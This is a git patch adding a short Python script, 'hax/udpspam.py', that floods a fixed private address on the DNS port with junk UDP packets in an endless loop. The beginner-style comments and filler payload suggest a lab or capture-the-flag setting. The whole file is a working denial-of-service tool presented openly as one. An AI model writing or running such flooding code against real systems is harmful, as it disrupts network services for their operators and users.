From f9c5476f250e2f84da60b6f4bb4cb3dfda3f4142 Mon Sep 17 00:00:00 2001 From: Someone Date: Mon, 5 Sep 2016 16:25:05 +0200 Subject: [PATCH] udp spammer --- hax/udpspam.py | 40 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 40 insertions(+) create mode 100644 hax/udpspam.py diff --git a/hax/udpspam.py b/hax/udpspam.py new file mode 100644 index 0000000..90143f3 --- /dev/null +++ b/hax/udpspam.py @@ -0,0 +1,40 @@ +import socket + +# initialize a socket, think of it as a cable +# SOCK_DGRAM specifies that this is UDP +s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, 0) + +# connect the socket, think of it as connecting the cable to the address location +s.connect(('10.11.0.254', 53)) + +PACKETDATA = 'SORRY.gdsfgdfgsdgsdgdggdfgdfgfdsgdsgdsgdgsdfgsdgfdsdg5asdsdgffgfhshaflshfljksdhfljsahdfhsadlfhsdhflahsdfhsdafiasdfisdhfahsfhisafhiashfhasfhishifsdfgafsdjgdjfdijgsdhgishddgdfgdfgsfsdfsfsaf asdffsdagafg sdffghsdfgisdhgdshfogdhoi25da11f6 \ + f1agdfgdsfgdfgsdgsdgdggdfgdfgfdsgdsgdsgdgsdfgsdgfdsdg5asdsdgffgfhshaflshfljksdhfljsahdfhsadlfhsdhflahsdfhsdafiasdfisdhfahsfhisafhiashfhasfhishifsdfgafsdjgdjfdijgsdhgishddgdfgdfgsfsdfsfsaf asdffsdagafg sdffghsdfgisdhgdshfogdhoi25da11f6 \ + f1agdfgdsfgdfgsdgsdgdggdfgdfgfdsgdsgdsgdgsdfgsdgfdsdg5asdsdgffgfhshaflshfljksdhfljsahdfhsadlfhsdhflahsdfhsdafiasdfisdhfahsfhisafhiashfhasfhishifsdfgafsdjgdjfdijgsdhgishddgdfgdfgsfsdfsfsafasdffsdagafg sdffghsdfgisdhgdshfogdhoi25da11f6' +# f1agdfgdsfgdfgsdgsdgdggdfgdfgfdsgdsgdsgdgsdfgsdgfdsdg5asdsdgffgfhshaflshfljksdhfljsahdfhsadlfhsdhflahsdfhsdafiasdfisdhfahsfhisafhiashfhasfhishifsdfgafsdjgdjfdijgsdhgishddgdfgdfgsfsdfsfsaf asdffsdagafg sdffghsdfgisdhgdshfogdhoi25da11f6 \ +# f1agdfgdsfgdfgsdgsdgdggdfgdfgfdsgdsgdsgdgsdfgsdgfdsdg5asdsdgffgfhshaflshfljksdhfljsahdfhsadlfhsdhflahsdfhsdafiasdfisdhfahsfhisafhiashfhasfhishifsdfgafsdjgdjfdijgsdhgishddgdfgdfgsfsdfsfsaf asdffsdagafg sdffghsdfgisdhgdshfogdhoi25da11f6 \ +# f1agdfgdsfgdfgsdgsdgdggdfgdfgfdsgdsgdsgdgsdfgsdgfdsdg5asdsdgffgfhshaflshfljksdhfljsahdfhsadlfhsdhflahsdfhsdafiasdfisdhfahsfhisafhiashfhasfhishifsdfgafsdjgdjfdijgsdhgishddgdfgdfgsfsdfsfsaf asdffsdagafg sdffghsdfgisdhgdshfogdhoi25da11f6' + +print len(PACKETDATA) + +while (1 == 1): + s.send(PACKETDATA) + s.send(PACKETDATA) + s.send(PACKETDATA) + s.send(PACKETDATA) + s.send(PACKETDATA) + s.send(PACKETDATA) + s.send(PACKETDATA) + s.send(PACKETDATA) + s.send(PACKETDATA) + s.send(PACKETDATA) + s.send(PACKETDATA) + s.send(PACKETDATA) + s.send(PACKETDATA) + s.send(PACKETDATA) + s.send(PACKETDATA) + s.send(PACKETDATA) + s.send(PACKETDATA) + +# close the socket +s.close() + -- 2.43.0